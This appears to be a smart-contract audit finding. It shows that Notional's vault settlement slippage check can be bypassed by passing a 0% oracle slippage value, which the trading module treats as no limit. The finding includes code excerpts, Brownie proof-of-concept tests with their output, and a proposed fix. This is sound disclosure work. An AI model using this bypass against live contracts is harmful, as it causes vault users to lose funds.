Existing Slippage Control Can Be Bypassed During Vault Settlement
The existing slippage control can be bypassed/disabled during vault settlement, thus allowing the trade to be executed without consideration of its slippage.\\nNote 1: This issue affects MetaStable2 and Boosted3 balancer leverage vaults\\nNote 2: This issue affects the following three (3) processes. However, the root cause and the remediation action are the same for all. Therefore, only the PoC for the "Emergency vault settlement" process will be documented in this report, and the other two processes will be omitted for brevity. Refer to "Appendix I - Normal and Post Maturity Vault Settlement" for more details.\\nEmergency vault settlement\\nNormal vault settlement\\nPost-Maturity vault settlement.\\nNote 3: The issue affects all the supported DEXs (Curve, Balancer V2, Uniswap V2, Uniswap V3 and 0x) within Notional\\nThe `emergencySettlementSlippageLimitPercent` of the vault is set to 10% as per the environment file provided by Notional.\\n```\\nFile: BalancerEnvironment.py\\n            "postMaturitySettlementSlippageLimitPercent": 10e6, # 10%\\n            "emergencySettlementSlippageLimitPercent": 10e6, # 10%\\n```\\n\\nWhen a user calls the `settleVaultEmergency` function, the vault will validate that the slippage (DynamicTradeParams.oracleSlippagePercent) defined by the caller is within the acceptable slippage range by calling `SettlementUtils._decodeParamsAndValidate` function.\\n```\\nFile: MetaStable2TokenAuraHelper.sol\\n    function settleVaultEmergency(\\n        MetaStable2TokenAuraStrategyContext calldata context, \\n        uint256 maturity, \\n        bytes calldata data\\n    ) external {\\n        RedeemParams memory params = SettlementUtils._decodeParamsAndValidate(\\n            context.baseStrategy.vaultSettings.emergencySettlementSlippageLimitPercent,\\n            data\\n        );\\n\\n        uint256 bptToSettle = context.baseStrategy._getEmergencySettlementParams({\\n            poolContext: context.poolContext.basePool, \\n            maturity: maturity, \\n            totalBPTSupply: IERC20(context.poolContext.basePool.pool).totalSupply()\\n        });\\n```\\n\\nThe `SettlementUtils._decodeParamsAndValidate` function will validate that the slippage (DynamicTradeParams.oracleSlippagePercent) passed in by the caller does not exceed the designated threshold (10%). In Line 41-42, the transaction will revert if the `DynamicTradeParams.oracleSlippagePercent` exceeds the `slippageLimitPercent`. Note that `slippageLimitPercent` is equal to `emergencySettlementSlippageLimitPercent` which is `10%`.\\nThere is an edge case with the condition at Line 41. Consider the following cases:\\nIf `callbackData.oracleSlippagePercent` = 9% and `slippageLimitPercent` = 10%, the condition will evaluate as `False` and transaction will not revert\\nIf `callbackData.oracleSlippagePercent` = 11% and `slippageLimitPercent` = 10%, the condition will evaluate as `True` and transaction will revert because it exceeds the designated threshold.\\nIf `callbackData.oracleSlippagePercent` = 0% and `slippageLimitPercent` = 10%, the condition will evaluate as `False` and transaction will not revert\\nThe problem is that when `callbackData.oracleSlippagePercent` is `0%`, this effectively means that there is no slippage limit. This essentially exceeded the designated threshold (10%), and the transaction should revert instead, but it did not.\\n```\\nFile: SettlementUtils.sol\\n    /// @notice Validates that the slippage passed in by the caller\\n    /// does not exceed the designated threshold.\\n    /// @param slippageLimitPercent configured limit on the slippage from the oracle price allowed\\n    /// @param data trade parameters passed into settlement\\n    /// @return params abi decoded redemption parameters\\n    function _decodeParamsAndValidate(\\n        uint32 slippageLimitPercent,\\n        bytes memory data\\n    ) internal view returns (RedeemParams memory params) {\\n        params = abi.decode(data, (RedeemParams));\\n        DynamicTradeParams memory callbackData = abi.decode(\\n            params.secondaryTradeParams, (DynamicTradeParams)\\n        );\\n\\n        if (callbackData.oracleSlippagePercent > slippageLimitPercent) {\\n            revert Errors.SlippageTooHigh(callbackData.oracleSlippagePercent, slippageLimitPercent);\\n        }\\n    }\\n```\\n\\nWithin `executeTradeWithDynamicSlippage` function, it will calculate the `trade.limit` by calling the `PROXY.getLimitAmount`. The `trade.limit` is the maximum amount of sellToken that can be sold OR the minimum amount of buyToken the contract is expected to receive from the DEX depending on whether you are performing a sell or buy.\\n```\\nFile: TradingModule.sol\\n    function executeTradeWithDynamicSlippage(\\n        uint16 dexId,\\n        Trade memory trade,\\n        uint32 dynamicSlippageLimit\\n    ) external override returns (uint256 amountSold, uint256 amountBought) {\\n        // This method calls back into the implementation via the proxy so that it has proper\\n        // access to storage.\\n        trade.limit = PROXY.getLimitAmount(\\n            trade.tradeType,\\n            trade.sellToken,\\n            trade.buyToken,\\n            trade.amount,\\n            dynamicSlippageLimit\\n        );\\n```\\n\\nWithin the `TradingUtils._getLimitAmount` function, when the `slippageLimit` is set to `0`,\\nIf it is a sell trade, the `limitAmount` will be set to `type(uint256).max`. See Line 187\\nIf it is a buy trade, the `limitAmount` will be set to `0`. See Line 207\\nThese effectively remove the slippage limit. Therefore, a malicious user can specify the `callbackData.oracleSlippagePercent` to be `0%` to bypass the slippage validation check.\\n```\\nFile: TradingUtils.sol\\n    function _getLimitAmount(\\n        TradeType tradeType,\\n        address sellToken,\\n        address buyToken,\\n        uint256 amount,\\n        uint32 slippageLimit,\\n        uint256 oraclePrice,\\n        uint256 oracleDecimals\\n    ) internal view returns (uint256 limitAmount) {\\n        uint256 sellTokenDecimals = 10 **\\n            (\\n                sellToken == Deployments.ETH_ADDRESS\\n                    ? 18\\n                    : IERC20(sellToken).decimals()\\n            );\\n        uint256 buyTokenDecimals = 10 **\\n            (\\n                buyToken == Deployments.ETH_ADDRESS\\n                    ? 18\\n                    : IERC20(buyToken).decimals()\\n            );\\n\\n        if (tradeType == TradeType.EXACT_OUT_SINGLE || tradeType == TradeType.EXACT_OUT_BATCH) {\\n            // 0 means no slippage limit\\n            if (slippageLimit == 0) {\\n                return type(uint256).max;\\n            }\\n            // For exact out trades, we need to invert the oracle price (1 / oraclePrice)\\n            // We increase the precision before we divide because oraclePrice is in\\n            // oracle decimals\\n            oraclePrice = (oracleDecimals * oracleDecimals) / oraclePrice;\\n            // For exact out trades, limitAmount is the max amount of sellToken the DEX can\\n            // pull from the contract\\n            limitAmount =\\n                ((oraclePrice + \\n                    ((oraclePrice * uint256(slippageLimit)) /\\n                        Constants.SLIPPAGE_LIMIT_PRECISION)) * amount) / \\n                oracleDecimals;\\n\\n            // limitAmount is in buyToken precision after the previous calculation,\\n            // convert it to sellToken precision\\n            limitAmount = (limitAmount * sellTokenDecimals) / buyTokenDecimals;\\n        } else {\\n            // 0 means no slippage limit\\n            if (slippageLimit == 0) {\\n                return 0;\\n            }\\n            // For exact in trades, limitAmount is the min amount of buyToken the contract\\n            // expects from the DEX\\n            limitAmount =\\n                ((oraclePrice -\\n                    ((oraclePrice * uint256(slippageLimit)) /\\n                        Constants.SLIPPAGE_LIMIT_PRECISION)) * amount) /\\n                oracleDecimals;\\n\\n            // limitAmount is in sellToken precision after the previous calculation,\\n            // convert it to buyToken precision\\n            limitAmount = (limitAmount * buyTokenDecimals) / sellTokenDecimals;\\n        }\\n    }\\n```\\n\\nProof-of-Concept\\nThe following test case shows that when the slippage is set to 11% (11e6), the transaction will be reverted and fails the test. This is working as intended because the slippage (11%) exceeded the threshold (emergencySettlementSlippageLimitPercent = 10%).\\n```\\ndef test_emergency_single_maturity_success(StratBoostedPoolUSDCPrimary):\\n    (env, vault) = StratBoostedPoolUSDCPrimary\\n    primaryBorrowAmount = 5000e8\\n    depositAmount = 10000e6\\n    env.tokens["USDC"].approve(env.notional, 2 ** 256 - 1, {"from": env.whales["USDC"]})\\n    maturity = enterMaturity(env, vault, 2, 0, depositAmount, primaryBorrowAmount, env.whales["USDC"])\\n    strategyContext = vault.getStrategyContext()\\n    settings = dict(strategyContext["baseStrategy"]["vaultSettings"].dict())\\n    settings["maxBalancerPoolShare"] = 0\\n    vault.setStrategyVaultSettings(\\n        list(settings.values()), \\n        {"from": env.notional.owner()}\\n    )\\n    # minPrimary is calculated internally for boosted pools \\n    redeemParams = get_redeem_params(0, 0, \\n        get_dynamic_trade_params(\\n            DEX_ID["UNISWAP_V3"], TRADE_TYPE["EXACT_IN_SINGLE"], 11e6, True, get_univ3_single_data(3000)\\n        )\\n    )\\n    vault.settleVaultEmergency(maturity, redeemParams, {"from": env.notional.owner()})\\n    vaultState = env.notional.getVaultState(vault.address, maturity)\\n    assert vaultState["totalStrategyTokens"] == 0\\n```\\n\\n```\\n❯ brownie test tests/balancer/settlement/test_settlement_boosted_usdc.py --network mainnet-fork\\nBrownie v1.18.1 - Python development framework for Ethereum\\n\\n=============================================================================================== test session starts ===============================================================================================\\nplatform linux -- Python 3.8.10, pytest-6.2.5, py-1.11.0, pluggy-1.0.0\\nplugins: eth-brownie-1.18.1, hypothesis-6.27.3, forked-1.4.0, xdist-1.34.0, web3-5.27.0\\ncollected 1 item                                                                                                                                                                                                  \\nAttached to local RPC client listening at '127.0.0.1:8545'// rest of code\\n\\ntests/balancer/settlement/test_settlement_boosted_usdc.py F                                                                                                                                                 [100%]\\n\\n==================================================================================================== FAILURES =====================================================================================================\\n```\\n\\nThe following test case shows that when the slippage is set to 0, the transaction does not revert and passes the test. This is not working as intended because having no slippage (0) technically exceeded the threshold (emergencySettlementSlippageLimitPercent = 10%).\\n```\\ndef test_emergency_single_maturity_success(StratBoostedPoolUSDCPrimary):\\n    (env, vault) = StratBoostedPoolUSDCPrimary\\n    primaryBorrowAmount = 5000e8\\n    depositAmount = 10000e6\\n    env.tokens["USDC"].approve(env.notional, 2 ** 256 - 1, {"from": env.whales["USDC"]})\\n    maturity = enterMaturity(env, vault, 2, 0, depositAmount, primaryBorrowAmount, env.whales["USDC"])\\n    strategyContext = vault.getStrategyContext()\\n    settings = dict(strategyContext["baseStrategy"]["vaultSettings"].dict())\\n    settings["maxBalancerPoolShare"] = 0\\n    vault.setStrategyVaultSettings(\\n        list(settings.values()), \\n        {"from": env.notional.owner()}\\n    )\\n    # minPrimary is calculated internally for boosted pools \\n    redeemParams = get_redeem_params(0, 0, \\n        get_dynamic_trade_params(\\n            DEX_ID["UNISWAP_V3"], TRADE_TYPE["EXACT_IN_SINGLE"], 0, True, get_univ3_single_data(3000)\\n        )\\n    )\\n    vault.settleVaultEmergency(maturity, redeemParams, {"from": env.notional.owner()})\\n    vaultState = env.notional.getVaultState(vault.address, maturity)\\n    assert vaultState["totalStrategyTokens"] == 0\\n```\\n\\n```\\n❯ brownie test tests/balancer/settlement/test_settlement_boosted_usdc.py --network mainnet-fork\\nBrownie v1.18.1 - Python development framework for Ethereum\\n\\n=============================================================================================== test session starts ===============================================================================================\\nplatform linux -- Python 3.8.10, pytest-6.2.5, py-1.11.0, pluggy-1.0.0\\nplugins: eth-brownie-1.18.1, hypothesis-6.27.3, forked-1.4.0, xdist-1.34.0, web3-5.27.0\\ncollected 1 item                                                                                                                                                                                                  \\nAttached to local RPC client listening at '127.0.0.1:8545'// rest of code\\n\\ntests/balancer/settlement/test_settlement_boosted_usdc.py .                                                                                                                                                 [100%]\\n\\n========================================================================================== 1 passed, 1 warning in 4.31s ===========================================================================================\\n```\\n
Update the `SettlementUtils._decodeParamsAndValidate` function to revert if the slippage is set to zero.\\n```\\nFile: SettlementUtils.sol\\n    /// @notice Validates that the slippage passed in by the caller\\n    /// does not exceed the designated threshold.\\n    /// @param slippageLimitPercent configured limit on the slippage from the oracle price allowed\\n    /// @param data trade parameters passed into settlement\\n    /// @return params abi decoded redemption parameters\\n    function _decodeParamsAndValidate(\\n        uint32 slippageLimitPercent,\\n        bytes memory data\\n    ) internal view returns (RedeemParams memory params) {\\n        params = abi.decode(data, (RedeemParams));\\n        DynamicTradeParams memory callbackData = abi.decode(\\n            params.secondaryTradeParams, (DynamicTradeParams)\\n        );\\n\\n// Remove the line below\\n        if (callbackData.oracleSlippagePercent > slippageLimitPercent) {\\n// Add the line below\\n        if (callbackData.oracleSlippagePercent == 0 || callbackData.oracleSlippagePercent > slippageLimitPercent) {\\n            revert Errors.SlippageTooHigh(callbackData.oracleSlippagePercent, slippageLimitPercent);\\n        }\\n    }\\n```\\n\\nAppendix I - Normal and Post Maturity Vault Settlement\\nThe `settlementSlippageLimitPercent` and `postMaturitySettlementSlippageLimitPercent` of the vault are set to 5% and 10% respectively per the environment file provided by Notional.\\n```\\nFile: BalancerEnvironment.py\\n            "settlementSlippageLimitPercent": 5e6, # 5%\\n            "postMaturitySettlementSlippageLimitPercent": 10e6, # 10%\\n```\\n\\nWhen a user calls the `settleVaultNormal` or `settleVaultPostMaturity` function, the vault will validate that the slippage (DynamicTradeParams.oracleSlippagePercent) defined by the caller is within the acceptable slippage range by calling `SettlementUtils._decodeParamsAndValidate` function.\\n```\\nFile: MetaStable2TokenAuraVault.sol\\n    function settleVaultNormal(\\n        uint256 maturity,\\n        uint256 strategyTokensToRedeem,\\n        bytes calldata data\\n    ) external {\\n        if (maturity <= block.timestamp) {\\n            revert Errors.PostMaturitySettlement();\\n        }\\n        if (block.timestamp < maturity - SETTLEMENT_PERIOD_IN_SECONDS) {\\n            revert Errors.NotInSettlementWindow();\\n        }\\n        MetaStable2TokenAuraStrategyContext memory context = _strategyContext();\\n        SettlementUtils._validateCoolDown(\\n            context.baseStrategy.vaultState.lastSettlementTimestamp,\\n            context.baseStrategy.vaultSettings.settlementCoolDownInMinutes\\n        );\\n        RedeemParams memory params = SettlementUtils._decodeParamsAndValidate(\\n            context.baseStrategy.vaultSettings.settlementSlippageLimitPercent,\\n            data\\n        );\\n        MetaStable2TokenAuraHelper.settleVault(\\n            context, maturity, strategyTokensToRedeem, params\\n        );\\n        context.baseStrategy.vaultState.lastSettlementTimestamp = uint32(block.timestamp);\\n        context.baseStrategy.vaultState.setStrategyVaultState();\\n    }\\n\\n    function settleVaultPostMaturity(\\n        uint256 maturity,\\n        uint256 strategyTokensToRedeem,\\n        bytes calldata data\\n    ) external onlyNotionalOwner {\\n        if (block.timestamp < maturity) {\\n            revert Errors.HasNotMatured();\\n        }\\n        MetaStable2TokenAuraStrategyContext memory context = _strategyContext();\\n        SettlementUtils._validateCoolDown(\\n            context.baseStrategy.vaultState.lastPostMaturitySettlementTimestamp,\\n            context.baseStrategy.vaultSettings.postMaturitySettlementCoolDownInMinutes\\n        );\\n        RedeemParams memory params = SettlementUtils._decodeParamsAndValidate(\\n            context.baseStrategy.vaultSettings.postMaturitySettlementSlippageLimitPercent,\\n            data\\n        );\\n        MetaStable2TokenAuraHelper.settleVault(\\n            context, maturity, strategyTokensToRedeem, params\\n        );\\n        context.baseStrategy.vaultState.lastPostMaturitySettlementTimestamp = uint32(block.timestamp);    \\n        context.baseStrategy.vaultState.setStrategyVaultState();  \\n    }\\n```\\n\\nSince the same vulnerable `SettlementUtils._decodeParamsAndValidate` function is being used here, the `settleVaultNormal` and `settleVaultPostMaturity` functions are affected by this issue too.
Malicious users can trigger the permissionless `settleVaultEmergency` function and cause the trade to suffer huge slippage. This results in loss of assets for the vaults and their users.
```\\nFile: BalancerEnvironment.py\\n            "postMaturitySettlementSlippageLimitPercent": 10e6, # 10%\\n            "emergencySettlementSlippageLimitPercent": 10e6, # 10%\\n```\\n